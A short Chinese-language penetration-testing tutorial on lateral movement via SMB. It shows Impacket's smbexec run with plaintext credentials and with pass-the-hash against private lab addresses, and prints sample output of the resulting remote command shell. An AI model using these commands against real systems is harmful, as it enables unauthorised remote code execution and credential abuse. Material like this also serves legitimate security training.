# SMB远程执行命令横向移动

## SMB介绍

SMB 全称是 Server Message Block 翻译过来是服务器信息块，它也是一种客户端到服务器的通信协议。除此之外，SMB 协议也被称为请求-回复协议。 客户端与服务器建立连接后,客户端可以向服务器发送SMB命令允许用户访问共享、打开、读取或者是写入文件。

利用条件：开启了445端口

## smbexec使用

smbexec为impacket工具中的工具，操作简单，容易被杀，使用时无需先进行IPC连接

```
明文传递命令：
smbexec hsyy.com/administrator:123.com@192.168.213.163
hash传递：
smbexec -hashes :$HASH$ ./admin@192.168.213.163
smbbexec -hashes :$HASH$ domain/admin@192.168.213.163
```

### 使用明文

1、输入命令

```
smbexec administrator:Admin@123@192.168.41.148
```

```
C:\Users\admin\Desktop>smbexec.exe administrator:Admin@123@192.168.41.148
Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies

[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>ipconfig

Windows IP 配置


以太网适配器 Ethernet1:

   连接特定的 DNS 后缀 . . . . . . . : localdomain
   本地链接 IPv6 地址. . . . . . . . : fe80::a836:f757:26ed:ab03%12
   IPv4 地址 . . . . . . . . . . . . : 192.168.41.148
   子网掩码 . . . . . . . . . . . . : 255.255.255.0
   默认网关. . . . . . . . . . . . . : 192.168.41.2
```

### 使用hash

```
smbexec -hashes
aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab
administrator@192.168.41.148
```

```
C:\Users\admin\Desktop>smbexec.exe -hashes aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab admin
or@192.168.41.148
Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies

[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>ipconfig

Windows IP 配置


以太网适配器 Ethernet1:

   连接特定的 DNS 后缀 . . . . . . . : localdomain
   本地链接 IPv6 地址. . . . . . . . : fe80::a836:f757:26ed:ab03%12
   IPv4 地址 . . . . . . . . . . . . : 192.168.41.148
   子网掩码  . . . . . . . . . . . . : 255.255.255.0
   默认网关. . . . . . . . . . . . . : 192.168.41.2
```